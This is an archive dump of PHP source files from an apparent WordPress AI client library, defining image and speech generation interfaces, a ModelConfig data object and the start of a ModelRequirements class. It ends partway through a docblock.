src/Providers/Models/ImageGeneration/Contracts/ImageGenerationOperationModelInterface.php 0000644 00000001436 15220530455 0025770 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\ImageGeneration\Contracts;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Operations\DTO\GenerativeAiOperation;
/**
* Interface for models that support asynchronous image generation operations.
*
* Provides methods for initiating long-running image generation tasks.
*
* @since 0.1.0
*/
interface ImageGenerationOperationModelInterface
{
/**
* Creates an image generation operation.
*
* @since 0.1.0
*
* @param list<Message> $prompt Array of messages containing the image generation prompt.
* @return GenerativeAiOperation The initiated image generation operation.
*/
public function generateImageOperation(array $prompt): GenerativeAiOperation;
}
src/Providers/Models/ImageGeneration/Contracts/ImageGenerationModelInterface.php 0000644 00000001342 15220530455 0024103 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\ImageGeneration\Contracts;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
/**
* Interface for models that support image generation.
*
* Provides synchronous methods for generating images from text prompts.
*
* @since 0.1.0
*/
interface ImageGenerationModelInterface
{
/**
* Generates images from a prompt.
*
* @since 0.1.0
*
* @param list<Message> $prompt Array of messages containing the image generation prompt.
* @return GenerativeAiResult Result containing generated images.
*/
public function generateImageResult(array $prompt): GenerativeAiResult;
}
src/Providers/Models/SpeechGeneration/Contracts/SpeechGenerationModelInterface.php 0000644 00000001350 15220530455 0024454 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\SpeechGeneration\Contracts;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
/**
* Interface for models that support speech generation.
*
* Provides synchronous methods for generating speech from prompts.
*
* @since 0.1.0
*/
interface SpeechGenerationModelInterface
{
/**
* Generates speech from a prompt.
*
* @since 0.1.0
*
* @param list<Message> $prompt Array of messages containing the speech generation prompt.
* @return GenerativeAiResult Result containing generated speech audio.
*/
public function generateSpeechResult(array $prompt): GenerativeAiResult;
}
src/Providers/Models/SpeechGeneration/Contracts/SpeechGenerationOperationModelInterface.php 0000644 00000001445 15220530455 0026342 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\SpeechGeneration\Contracts;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Operations\DTO\GenerativeAiOperation;
/**
* Interface for models that support asynchronous speech generation operations.
*
* Provides methods for initiating long-running speech generation tasks.
*
* @since 0.1.0
*/
interface SpeechGenerationOperationModelInterface
{
/**
* Creates a speech generation operation.
*
* @since 0.1.0
*
* @param list<Message> $prompt Array of messages containing the speech generation prompt.
* @return GenerativeAiOperation The initiated speech generation operation.
*/
public function generateSpeechOperation(array $prompt): GenerativeAiOperation;
}
src/Providers/Models/DTO/ModelConfig.php 0000644 00000073244 15220530455 0014073 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Files\Enums\FileTypeEnum;
use WordPress\AiClient\Files\Enums\MediaOrientationEnum;
use WordPress\AiClient\Messages\Enums\ModalityEnum;
use WordPress\AiClient\Tools\DTO\FunctionDeclaration;
use WordPress\AiClient\Tools\DTO\WebSearch;
/**
* Represents configuration for an AI model.
*
* This class allows configuring various parameters for model behavior,
* including output modalities, system instructions, generation parameters,
* and tool integrations.
*
* @since 0.1.0
*
* @phpstan-import-type FunctionDeclarationArrayShape from FunctionDeclaration
* @phpstan-import-type WebSearchArrayShape from WebSearch
*
* @phpstan-type ModelConfigArrayShape array{
* outputModalities?: list<string>,
* systemInstruction?: string,
* candidateCount?: int,
* maxTokens?: int,
* temperature?: float,
* topP?: float,
* topK?: int,
* stopSequences?: list<string>,
* presencePenalty?: float,
* frequencyPenalty?: float,
* logprobs?: bool,
* topLogprobs?: int,
* functionDeclarations?: list<FunctionDeclarationArrayShape>,
* webSearch?: WebSearchArrayShape,
* outputFileType?: string,
* outputMimeType?: string,
* outputSchema?: array<string, mixed>,
* outputMediaOrientation?: string,
* outputMediaAspectRatio?: string,
* outputSpeechVoice?: string,
* customOptions?: array<string, mixed>
* }
*
* @extends AbstractDataTransferObject<ModelConfigArrayShape>
*/
class ModelConfig extends AbstractDataTransferObject
{
public const KEY_OUTPUT_MODALITIES = 'outputModalities';
public const KEY_SYSTEM_INSTRUCTION = 'systemInstruction';
public const KEY_CANDIDATE_COUNT = 'candidateCount';
public const KEY_MAX_TOKENS = 'maxTokens';
public const KEY_TEMPERATURE = 'temperature';
public const KEY_TOP_P = 'topP';
public const KEY_TOP_K = 'topK';
public const KEY_STOP_SEQUENCES = 'stopSequences';
public const KEY_PRESENCE_PENALTY = 'presencePenalty';
public const KEY_FREQUENCY_PENALTY = 'frequencyPenalty';
public const KEY_LOGPROBS = 'logprobs';
public const KEY_TOP_LOGPROBS = 'topLogprobs';
public const KEY_FUNCTION_DECLARATIONS = 'functionDeclarations';
public const KEY_WEB_SEARCH = 'webSearch';
public const KEY_OUTPUT_FILE_TYPE = 'outputFileType';
public const KEY_OUTPUT_MIME_TYPE = 'outputMimeType';
public const KEY_OUTPUT_SCHEMA = 'outputSchema';
public const KEY_OUTPUT_MEDIA_ORIENTATION = 'outputMediaOrientation';
public const KEY_OUTPUT_MEDIA_ASPECT_RATIO = 'outputMediaAspectRatio';
public const KEY_OUTPUT_SPEECH_VOICE = 'outputSpeechVoice';
public const KEY_CUSTOM_OPTIONS = 'customOptions';
/*
* Note: This key is not an actual model config key, but specified here for convenience.
* It is relevant for model discovery, to determine which models support which input modalities.
* The actual input modalities are part of the message sent to the model, not the model config.
*/
public const KEY_INPUT_MODALITIES = 'inputModalities';
/**
* @var list<ModalityEnum>|null Output modalities for the model.
*/
protected ?array $outputModalities = null;
/**
* @var string|null System instruction for the model.
*/
protected ?string $systemInstruction = null;
/**
* @var int|null Number of response candidates to generate.
*/
protected ?int $candidateCount = null;
/**
* @var int|null Maximum number of tokens to generate.
*/
protected ?int $maxTokens = null;
/**
* @var float|null Temperature for randomness (0.0 to 2.0).
*/
protected ?float $temperature = null;
/**
* @var float|null Top-p nucleus sampling parameter.
*/
protected ?float $topP = null;
/**
* @var int|null Top-k sampling parameter.
*/
protected ?int $topK = null;
/**
* @var list<string>|null Stop sequences.
*/
protected ?array $stopSequences = null;
/**
* @var float|null Presence penalty for reducing repetition.
*/
protected ?float $presencePenalty = null;
/**
* @var float|null Frequency penalty for reducing repetition.
*/
protected ?float $frequencyPenalty = null;
/**
* @var bool|null Whether to return log probabilities.
*/
protected ?bool $logprobs = null;
/**
* @var int|null Number of top log probabilities to return.
*/
protected ?int $topLogprobs = null;
/**
* @var list<FunctionDeclaration>|null Function declarations available to the model.
*/
protected ?array $functionDeclarations = null;
/**
* @var WebSearch|null Web search configuration for the model.
*/
protected ?WebSearch $webSearch = null;
/**
* @var FileTypeEnum|null Output file type.
*/
protected ?FileTypeEnum $outputFileType = null;
/**
* @var string|null Output MIME type.
*/
protected ?string $outputMimeType = null;
/**
* @var array<string, mixed>|null Output schema (JSON schema).
*/
protected ?array $outputSchema = null;
/**
* @var MediaOrientationEnum|null Output media orientation.
*/
protected ?MediaOrientationEnum $outputMediaOrientation = null;
/**
* @var string|null Output media aspect ratio (e.g. 3:2, 16:9).
*/
protected ?string $outputMediaAspectRatio = null;
/**
* @var string|null Output speech voice.
*/
protected ?string $outputSpeechVoice = null;
/**
* @var array<string, mixed> Custom provider-specific options.
*/
protected array $customOptions = [];
/**
* Creates a deep clone of this configuration.
*
* Clones nested objects (functionDeclarations, webSearch) to ensure
* the cloned configuration is independent of the original.
* Enum value objects (outputModalities, outputFileType, outputMediaOrientation)
* are intentionally shared as they are immutable.
*
* @since 0.4.2
*/
public function __clone()
{
// Deep clone function declarations if set
if ($this->functionDeclarations !== null) {
$clonedDeclarations = [];
foreach ($this->functionDeclarations as $declaration) {
$clonedDeclarations[] = clone $declaration;
}
$this->functionDeclarations = $clonedDeclarations;
}
// Clone web search if set
if ($this->webSearch !== null) {
$this->webSearch = clone $this->webSearch;
}
// Note: Enum value objects (outputModalities, outputFileType, outputMediaOrientation)
// are immutable and can be safely shared.
}
/**
* Sets the output modalities.
*
* @since 0.1.0
*
* @param list<ModalityEnum> $outputModalities The output modalities.
*
* @throws InvalidArgumentException If the array is not a list.
*/
public function setOutputModalities(array $outputModalities): void
{
if (!array_is_list($outputModalities)) {
throw new InvalidArgumentException('Output modalities must be a list array.');
}
$this->outputModalities = $outputModalities;
}
/**
* Gets the output modalities.
*
* @since 0.1.0
*
* @return list<ModalityEnum>|null The output modalities.
*/
public function getOutputModalities(): ?array
{
return $this->outputModalities;
}
/**
* Sets the system instruction.
*
* @since 0.1.0
*
* @param string $systemInstruction The system instruction.
*/
public function setSystemInstruction(string $systemInstruction): void
{
$this->systemInstruction = $systemInstruction;
}
/**
* Gets the system instruction.
*
* @since 0.1.0
*
* @return string|null The system instruction.
*/
public function getSystemInstruction(): ?string
{
return $this->systemInstruction;
}
/**
* Sets the candidate count.
*
* @since 0.1.0
*
* @param int $candidateCount The candidate count.
*/
public function setCandidateCount(int $candidateCount): void
{
$this->candidateCount = $candidateCount;
}
/**
* Gets the candidate count.
*
* @since 0.1.0
*
* @return int|null The candidate count.
*/
public function getCandidateCount(): ?int
{
return $this->candidateCount;
}
/**
* Sets the maximum tokens.
*
* @since 0.1.0
*
* @param int $maxTokens The maximum tokens.
*/
public function setMaxTokens(int $maxTokens): void
{
$this->maxTokens = $maxTokens;
}
/**
* Gets the maximum tokens.
*
* @since 0.1.0
*
* @return int|null The maximum tokens.
*/
public function getMaxTokens(): ?int
{
return $this->maxTokens;
}
/**
* Sets the temperature.
*
* @since 0.1.0
*
* @param float $temperature The temperature.
*/
public function setTemperature(float $temperature): void
{
$this->temperature = $temperature;
}
/**
* Gets the temperature.
*
* @since 0.1.0
*
* @return float|null The temperature.
*/
public function getTemperature(): ?float
{
return $this->temperature;
}
/**
* Sets the top-p parameter.
*
* @since 0.1.0
*
* @param float $topP The top-p parameter.
*/
public function setTopP(float $topP): void
{
$this->topP = $topP;
}
/**
* Gets the top-p parameter.
*
* @since 0.1.0
*
* @return float|null The top-p parameter.
*/
public function getTopP(): ?float
{
return $this->topP;
}
/**
* Sets the top-k parameter.
*
* @since 0.1.0
*
* @param int $topK The top-k parameter.
*/
public function setTopK(int $topK): void
{
$this->topK = $topK;
}
/**
* Gets the top-k parameter.
*
* @since 0.1.0
*
* @return int|null The top-k parameter.
*/
public function getTopK(): ?int
{
return $this->topK;
}
/**
* Sets the stop sequences.
*
* @since 0.1.0
*
* @param list<string> $stopSequences The stop sequences.
*
* @throws InvalidArgumentException If the array is not a list.
*/
public function setStopSequences(array $stopSequences): void
{
if (!array_is_list($stopSequences)) {
throw new InvalidArgumentException('Stop sequences must be a list array.');
}
$this->stopSequences = $stopSequences;
}
/**
* Gets the stop sequences.
*
* @since 0.1.0
*
* @return list<string>|null The stop sequences.
*/
public function getStopSequences(): ?array
{
return $this->stopSequences;
}
/**
* Sets the presence penalty.
*
* @since 0.1.0
*
* @param float $presencePenalty The presence penalty.
*/
public function setPresencePenalty(float $presencePenalty): void
{
$this->presencePenalty = $presencePenalty;
}
/**
* Gets the presence penalty.
*
* @since 0.1.0
*
* @return float|null The presence penalty.
*/
public function getPresencePenalty(): ?float
{
return $this->presencePenalty;
}
/**
* Sets the frequency penalty.
*
* @since 0.1.0
*
* @param float $frequencyPenalty The frequency penalty.
*/
public function setFrequencyPenalty(float $frequencyPenalty): void
{
$this->frequencyPenalty = $frequencyPenalty;
}
/**
* Gets the frequency penalty.
*
* @since 0.1.0
*
* @return float|null The frequency penalty.
*/
public function getFrequencyPenalty(): ?float
{
return $this->frequencyPenalty;
}
/**
* Sets whether to return log probabilities.
*
* @since 0.1.0
*
* @param bool $logprobs Whether to return log probabilities.
*/
public function setLogprobs(bool $logprobs): void
{
$this->logprobs = $logprobs;
}
/**
* Gets whether to return log probabilities.
*
* @since 0.1.0
*
* @return bool|null Whether to return log probabilities.
*/
public function getLogprobs(): ?bool
{
return $this->logprobs;
}
/**
* Sets the number of top log probabilities to return.
*
* @since 0.1.0
*
* @param int $topLogprobs The number of top log probabilities.
*/
public function setTopLogprobs(int $topLogprobs): void
{
$this->topLogprobs = $topLogprobs;
}
/**
* Gets the number of top log probabilities to return.
*
* @since 0.1.0
*
* @return int|null The number of top log probabilities.
*/
public function getTopLogprobs(): ?int
{
return $this->topLogprobs;
}
/**
* Sets the function declarations.
*
* @since 0.1.0
*
* @param list<FunctionDeclaration> $functionDeclarations The function declarations.
*
* @throws InvalidArgumentException If the array is not a list.
*/
public function setFunctionDeclarations(array $functionDeclarations): void
{
if (!array_is_list($functionDeclarations)) {
throw new InvalidArgumentException('Function declarations must be a list array.');
}
$this->functionDeclarations = $functionDeclarations;
}
/**
* Gets the function declarations.
*
* @since 0.1.0
*
* @return list<FunctionDeclaration>|null The function declarations.
*/
public function getFunctionDeclarations(): ?array
{
return $this->functionDeclarations;
}
/**
* Sets the web search configuration.
*
* @since 0.1.0
*
* @param WebSearch $webSearch The web search configuration.
*/
public function setWebSearch(WebSearch $webSearch): void
{
$this->webSearch = $webSearch;
}
/**
* Gets the web search configuration.
*
* @since 0.1.0
*
* @return WebSearch|null The web search configuration.
*/
public function getWebSearch(): ?WebSearch
{
return $this->webSearch;
}
/**
* Sets the output file type.
*
* @since 0.1.0
*
* @param FileTypeEnum $outputFileType The output file type.
*/
public function setOutputFileType(FileTypeEnum $outputFileType): void
{
$this->outputFileType = $outputFileType;
}
/**
* Gets the output file type.
*
* @since 0.1.0
*
* @return FileTypeEnum|null The output file type.
*/
public function getOutputFileType(): ?FileTypeEnum
{
return $this->outputFileType;
}
/**
* Sets the output MIME type.
*
* @since 0.1.0
*
* @param string $outputMimeType The output MIME type.
*/
public function setOutputMimeType(string $outputMimeType): void
{
$this->outputMimeType = $outputMimeType;
}
/**
* Gets the output MIME type.
*
* @since 0.1.0
*
* @return string|null The output MIME type.
*/
public function getOutputMimeType(): ?string
{
return $this->outputMimeType;
}
/**
* Sets the output schema.
*
* When setting an output schema, this method automatically sets
* the output MIME type to "application/json" if not already set.
*
* @since 0.1.0
*
* @param array<string, mixed> $outputSchema The output schema (JSON schema).
*/
public function setOutputSchema(array $outputSchema): void
{
$this->outputSchema = $outputSchema;
// Automatically set outputMimeType to application/json when schema is provided
if ($this->outputMimeType === null) {
$this->outputMimeType = 'application/json';
}
}
/**
* Gets the output schema.
*
* @since 0.1.0
*
* @return array<string, mixed>|null The output schema.
*/
public function getOutputSchema(): ?array
{
return $this->outputSchema;
}
/**
* Sets the output media orientation.
*
* @since 0.1.0
*
* @param MediaOrientationEnum $outputMediaOrientation The output media orientation.
*/
public function setOutputMediaOrientation(MediaOrientationEnum $outputMediaOrientation): void
{
if ($this->outputMediaAspectRatio) {
$this->validateMediaOrientationAspectRatioCompatibility($outputMediaOrientation, $this->outputMediaAspectRatio);
}
$this->outputMediaOrientation = $outputMediaOrientation;
}
/**
* Gets the output media orientation.
*
* @since 0.1.0
*
* @return MediaOrientationEnum|null The output media orientation.
*/
public function getOutputMediaOrientation(): ?MediaOrientationEnum
{
return $this->outputMediaOrientation;
}
/**
* Sets the output media aspect ratio.
*
* If set, this supersedes the output media orientation, as it is a more specific configuration.
*
* @since 0.1.0
*
* @param string $outputMediaAspectRatio The output media aspect ratio (e.g. 3:2, 16:9).
*/
public function setOutputMediaAspectRatio(string $outputMediaAspectRatio): void
{
if (!preg_match('/^\d+:\d+$/', $outputMediaAspectRatio)) {
throw new InvalidArgumentException('Output media aspect ratio must be in the format "width:height" (e.g. 3:2, 16:9).');
}
if ($this->outputMediaOrientation) {
$this->validateMediaOrientationAspectRatioCompatibility($this->outputMediaOrientation, $outputMediaAspectRatio);
}
$this->outputMediaAspectRatio = $outputMediaAspectRatio;
}
/**
* Gets the output media aspect ratio.
*
* @since 0.1.0
*
* @return string|null The output media aspect ratio (e.g. 3:2, 16:9).
*/
public function getOutputMediaAspectRatio(): ?string
{
return $this->outputMediaAspectRatio;
}
/**
* Validates that the given media orientation and aspect ratio values do not conflict with each other.
*
* @since 0.4.0
*
* @param MediaOrientationEnum $orientation The desired media orientation.
* @param string $aspectRatio The desired media aspect ratio.
*/
protected function validateMediaOrientationAspectRatioCompatibility(MediaOrientationEnum $orientation, string $aspectRatio): void
{
$aspectRatioParts = explode(':', $aspectRatio);
if ($orientation->isSquare() && $aspectRatioParts[0] !== $aspectRatioParts[1]) {
throw new InvalidArgumentException('The aspect ratio "' . $aspectRatio . '" is not compatible with the square orientation.');
}
if ($orientation->isLandscape() && $aspectRatioParts[0] <= $aspectRatioParts[1]) {
throw new InvalidArgumentException('The aspect ratio "' . $aspectRatio . '" is not compatible with the landscape orientation.');
}
if ($orientation->isPortrait() && $aspectRatioParts[0] >= $aspectRatioParts[1]) {
throw new InvalidArgumentException('The aspect ratio "' . $aspectRatio . '" is not compatible with the portrait orientation.');
}
}
/**
* Sets the output speech voice.
*
* @since 0.1.0
*
* @param string $outputSpeechVoice The output speech voice.
*/
public function setOutputSpeechVoice(string $outputSpeechVoice): void
{
$this->outputSpeechVoice = $outputSpeechVoice;
}
/**
* Gets the output speech voice.
*
* @since 0.1.0
*
* @return string|null The output speech voice.
*/
public function getOutputSpeechVoice(): ?string
{
return $this->outputSpeechVoice;
}
/**
* Sets a single custom option.
*
* @since 0.1.0
*
* @param string $key The option key.
* @param mixed $value The option value.
*/
public function setCustomOption(string $key, $value): void
{
$this->customOptions[$key] = $value;
}
/**
* Sets the custom options.
*
* @since 0.1.0
*
* @param array<string, mixed> $customOptions The custom options.
*/
public function setCustomOptions(array $customOptions): void
{
$this->customOptions = $customOptions;
}
/**
* Gets the custom options.
*
* @since 0.1.0
*
* @return array<string, mixed> The custom options.
*/
public function getCustomOptions(): array
{
return $this->customOptions;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_OUTPUT_MODALITIES => ['type' => 'array', 'items' => ['type' => 'string', 'enum' => ModalityEnum::getValues()], 'description' => 'Output modalities for the model.'], self::KEY_SYSTEM_INSTRUCTION => ['type' => 'string', 'description' => 'System instruction for the model.'], self::KEY_CANDIDATE_COUNT => ['type' => 'integer', 'minimum' => 1, 'description' => 'Number of response candidates to generate.'], self::KEY_MAX_TOKENS => ['type' => 'integer', 'minimum' => 1, 'description' => 'Maximum number of tokens to generate.'], self::KEY_TEMPERATURE => ['type' => 'number', 'minimum' => 0.0, 'maximum' => 2.0, 'description' => 'Temperature for randomness.'], self::KEY_TOP_P => ['type' => 'number', 'minimum' => 0.0, 'maximum' => 1.0, 'description' => 'Top-p nucleus sampling parameter.'], self::KEY_TOP_K => ['type' => 'integer', 'minimum' => 1, 'description' => 'Top-k sampling parameter.'], self::KEY_STOP_SEQUENCES => ['type' => 'array', 'items' => ['type' => 'string'], 'description' => 'Stop sequences.'], self::KEY_PRESENCE_PENALTY => ['type' => 'number', 'description' => 'Presence penalty for reducing repetition.'], self::KEY_FREQUENCY_PENALTY => ['type' => 'number', 'description' => 'Frequency penalty for reducing repetition.'], self::KEY_LOGPROBS => ['type' => 'boolean', 'description' => 'Whether to return log probabilities.'], self::KEY_TOP_LOGPROBS => ['type' => 'integer', 'minimum' => 1, 'description' => 'Number of top log probabilities to return.'], self::KEY_FUNCTION_DECLARATIONS => ['type' => 'array', 'items' => FunctionDeclaration::getJsonSchema(), 'description' => 'Function declarations available to the model.'], self::KEY_WEB_SEARCH => WebSearch::getJsonSchema(), self::KEY_OUTPUT_FILE_TYPE => ['type' => 'string', 'enum' => FileTypeEnum::getValues(), 'description' => 'Output file type.'], self::KEY_OUTPUT_MIME_TYPE => ['type' => 'string', 'description' => 'Output MIME type.'], self::KEY_OUTPUT_SCHEMA => ['type' => 'object', 'additionalProperties' => \true, 'description' => 'Output schema (JSON schema).'], self::KEY_OUTPUT_MEDIA_ORIENTATION => ['type' => 'string', 'enum' => MediaOrientationEnum::getValues(), 'description' => 'Output media orientation.'], self::KEY_OUTPUT_MEDIA_ASPECT_RATIO => ['type' => 'string', 'pattern' => '^\d+:\d+$', 'description' => 'Output media aspect ratio.'], self::KEY_OUTPUT_SPEECH_VOICE => ['type' => 'string', 'description' => 'Output speech voice.'], self::KEY_CUSTOM_OPTIONS => ['type' => 'object', 'additionalProperties' => \true, 'description' => 'Custom provider-specific options.']], 'additionalProperties' => \false];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return ModelConfigArrayShape
*/
public function toArray(): array
{
$data = [];
if ($this->outputModalities !== null) {
$data[self::KEY_OUTPUT_MODALITIES] = array_map(static function (ModalityEnum $modality): string {
return $modality->value;
}, $this->outputModalities);
}
if ($this->systemInstruction !== null) {
$data[self::KEY_SYSTEM_INSTRUCTION] = $this->systemInstruction;
}
if ($this->candidateCount !== null) {
$data[self::KEY_CANDIDATE_COUNT] = $this->candidateCount;
}
if ($this->maxTokens !== null) {
$data[self::KEY_MAX_TOKENS] = $this->maxTokens;
}
if ($this->temperature !== null) {
$data[self::KEY_TEMPERATURE] = $this->temperature;
}
if ($this->topP !== null) {
$data[self::KEY_TOP_P] = $this->topP;
}
if ($this->topK !== null) {
$data[self::KEY_TOP_K] = $this->topK;
}
if ($this->stopSequences !== null) {
$data[self::KEY_STOP_SEQUENCES] = $this->stopSequences;
}
if ($this->presencePenalty !== null) {
$data[self::KEY_PRESENCE_PENALTY] = $this->presencePenalty;
}
if ($this->frequencyPenalty !== null) {
$data[self::KEY_FREQUENCY_PENALTY] = $this->frequencyPenalty;
}
if ($this->logprobs !== null) {
$data[self::KEY_LOGPROBS] = $this->logprobs;
}
if ($this->topLogprobs !== null) {
$data[self::KEY_TOP_LOGPROBS] = $this->topLogprobs;
}
if ($this->functionDeclarations !== null) {
$data[self::KEY_FUNCTION_DECLARATIONS] = array_map(static function (FunctionDeclaration $functionDeclaration): array {
return $functionDeclaration->toArray();
}, $this->functionDeclarations);
}
if ($this->webSearch !== null) {
$data[self::KEY_WEB_SEARCH] = $this->webSearch->toArray();
}
if ($this->outputFileType !== null) {
$data[self::KEY_OUTPUT_FILE_TYPE] = $this->outputFileType->value;
}
if ($this->outputMimeType !== null) {
$data[self::KEY_OUTPUT_MIME_TYPE] = $this->outputMimeType;
}
if ($this->outputSchema !== null) {
$data[self::KEY_OUTPUT_SCHEMA] = $this->outputSchema;
}
if ($this->outputMediaOrientation !== null) {
$data[self::KEY_OUTPUT_MEDIA_ORIENTATION] = $this->outputMediaOrientation->value;
}
if ($this->outputMediaAspectRatio !== null) {
$data[self::KEY_OUTPUT_MEDIA_ASPECT_RATIO] = $this->outputMediaAspectRatio;
}
if ($this->outputSpeechVoice !== null) {
$data[self::KEY_OUTPUT_SPEECH_VOICE] = $this->outputSpeechVoice;
}
if (!empty($this->customOptions)) {
$data[self::KEY_CUSTOM_OPTIONS] = $this->customOptions;
}
return $data;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
$config = new self();
if (isset($array[self::KEY_OUTPUT_MODALITIES])) {
$config->setOutputModalities(array_map(static fn(string $modality): ModalityEnum => ModalityEnum::from($modality), $array[self::KEY_OUTPUT_MODALITIES]));
}
if (isset($array[self::KEY_SYSTEM_INSTRUCTION])) {
$config->setSystemInstruction($array[self::KEY_SYSTEM_INSTRUCTION]);
}
if (isset($array[self::KEY_CANDIDATE_COUNT])) {
$config->setCandidateCount($array[self::KEY_CANDIDATE_COUNT]);
}
if (isset($array[self::KEY_MAX_TOKENS])) {
$config->setMaxTokens($array[self::KEY_MAX_TOKENS]);
}
if (isset($array[self::KEY_TEMPERATURE])) {
$config->setTemperature($array[self::KEY_TEMPERATURE]);
}
if (isset($array[self::KEY_TOP_P])) {
$config->setTopP($array[self::KEY_TOP_P]);
}
if (isset($array[self::KEY_TOP_K])) {
$config->setTopK($array[self::KEY_TOP_K]);
}
if (isset($array[self::KEY_STOP_SEQUENCES])) {
$config->setStopSequences($array[self::KEY_STOP_SEQUENCES]);
}
if (isset($array[self::KEY_PRESENCE_PENALTY])) {
$config->setPresencePenalty($array[self::KEY_PRESENCE_PENALTY]);
}
if (isset($array[self::KEY_FREQUENCY_PENALTY])) {
$config->setFrequencyPenalty($array[self::KEY_FREQUENCY_PENALTY]);
}
if (isset($array[self::KEY_LOGPROBS])) {
$config->setLogprobs($array[self::KEY_LOGPROBS]);
}
if (isset($array[self::KEY_TOP_LOGPROBS])) {
$config->setTopLogprobs($array[self::KEY_TOP_LOGPROBS]);
}
if (isset($array[self::KEY_FUNCTION_DECLARATIONS])) {
$config->setFunctionDeclarations(array_map(static function (array $functionDeclarationData): FunctionDeclaration {
return FunctionDeclaration::fromArray($functionDeclarationData);
}, $array[self::KEY_FUNCTION_DECLARATIONS]));
}
if (isset($array[self::KEY_WEB_SEARCH])) {
$config->setWebSearch(WebSearch::fromArray($array[self::KEY_WEB_SEARCH]));
}
if (isset($array[self::KEY_OUTPUT_FILE_TYPE])) {
$config->setOutputFileType(FileTypeEnum::from($array[self::KEY_OUTPUT_FILE_TYPE]));
}
if (isset($array[self::KEY_OUTPUT_MIME_TYPE])) {
$config->setOutputMimeType($array[self::KEY_OUTPUT_MIME_TYPE]);
}
if (isset($array[self::KEY_OUTPUT_SCHEMA])) {
$config->setOutputSchema($array[self::KEY_OUTPUT_SCHEMA]);
}
if (isset($array[self::KEY_OUTPUT_MEDIA_ORIENTATION])) {
$config->setOutputMediaOrientation(MediaOrientationEnum::from($array[self::KEY_OUTPUT_MEDIA_ORIENTATION]));
}
if (isset($array[self::KEY_OUTPUT_MEDIA_ASPECT_RATIO])) {
$config->setOutputMediaAspectRatio($array[self::KEY_OUTPUT_MEDIA_ASPECT_RATIO]);
}
if (isset($array[self::KEY_OUTPUT_SPEECH_VOICE])) {
$config->setOutputSpeechVoice($array[self::KEY_OUTPUT_SPEECH_VOICE]);
}
if (isset($array[self::KEY_CUSTOM_OPTIONS])) {
$config->setCustomOptions($array[self::KEY_CUSTOM_OPTIONS]);
}
return $config;
}
}
src/Providers/Models/DTO/ModelRequirements.php 0000644 00000036511 15220530455 0015345 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Messages\Enums\ModalityEnum;
use WordPress\AiClient\Providers\Models\Enums\CapabilityEnum;
use WordPress\AiClient\Providers\Models\Enums\OptionEnum;
/**
* Represents requirements that implementing code has for AI model selection.
*
* This class defines the capabilities and options that a model must support
* in order to be considered suitable for the implementing code's needs.
*
* @since 0.1.0
*
* @phpstan-import-type RequiredOptionArrayShape from RequiredOption
*
* @phpstan-type ModelRequirementsArrayShape array{
* requiredCapabilities: list<string>,
* requiredOptions: list<RequiredOptionArrayShape>
* }
*
* @extends AbstractDataTransferObject<ModelRequirementsArrayShape>
*/
class ModelRequirements extends AbstractDataTransferObject
{
public const KEY_REQUIRED_CAPABILITIES = 'requiredCapabilities';
public const KEY_REQUIRED_OPTIONS = 'requiredOptions';
/**
* @var list<CapabilityEnum> The capabilities that the model must support.
*/
protected array $requiredCapabilities;
/**
* @var list<RequiredOption> The options that the model must support with specific values.
*/
protected array $requiredOptions;
/**
* Constructor.
*
* @since 0.1.0
*
* @param list<CapabilityEnum> $requiredCapabilities The capabilities that the model must support.
* @param list<RequiredOption> $requiredOptions The options that the model must support with specific values.
*
* @throws InvalidArgumentException If arrays are not lists.
*/
public function __construct(array $requiredCapabilities, array $requiredOptions)
{
if (!array_is_list($requiredCapabilities)) {
throw new InvalidArgumentException('Required capabilities must be a list array.');
}
if (!array_is_list($requiredOptions)) {
throw new InvalidArgumentException('Required options must be a list array.');
}
$this->requiredCapabilities = $requiredCapabilities;
$this->requiredOptions = $requiredOptions;
}
/**
* Gets the capabilities that the model must support.
*
* @since 0.1.0
*
* @return list<CapabilityEnum> The required capabilities.
*/
public function getRequiredCapabilities(): array
{
return $this->requiredCapabilities;
}
/**
* Gets the options that the model must support with specific values.
*
* @since 0.1.0
*
* @return list<RequiredOption> The required options.
*/
public function getRequiredOptions(): array
{
return $this->requiredOptions;
}
/**
* Checks whether the given model metadata meets these requirements.
*
* @since 0.2.0
*
* @param ModelMetadata $metadata The model metadata to check against.
* @return bool True if the model meets all requirements, false otherwise.
*/
public function areMetBy(\WordPress\AiClient\Providers\Models\DTO\ModelMetadata $metadata): bool
{
// Create lookup maps for better performance (instead of nested foreach loops)
$capabilitiesMap = [];
foreach ($metadata->getSupportedCapabilities() as $capability) {
$capabilitiesMap[$capability->value] = $capability;
}
$optionsMap = [];
foreach ($metadata->getSupportedOptions() as $option) {
$optionsMap[$option->getName()->value] = $option;
}
// Check if all required capabilities are supported using map lookup
foreach ($this->requiredCapabilities as $requiredCapability) {
if (!isset($capabilitiesMap[$requiredCapability->value])) {
return \false;
}
}
// Check if all required options are supported with the specified values
foreach ($this->requiredOptions as $requiredOption) {
// Use map lookup instead of linear search
if (!isset($optionsMap[$requiredOption->getName()->value])) {
return \false;
}
$supportedOption = $optionsMap[$requiredOption->getName()->value];
// Check if the required value is supported by this option
if (!$supportedOption->isSupportedValue($requiredOption->getValue())) {
return \false;
}
}
return \true;
}
/**
* Creates ModelRequirements from prompt data and model configuration.
*
* @since 0.2.0
*
* @param CapabilityEnum $capability The capability the model must support.
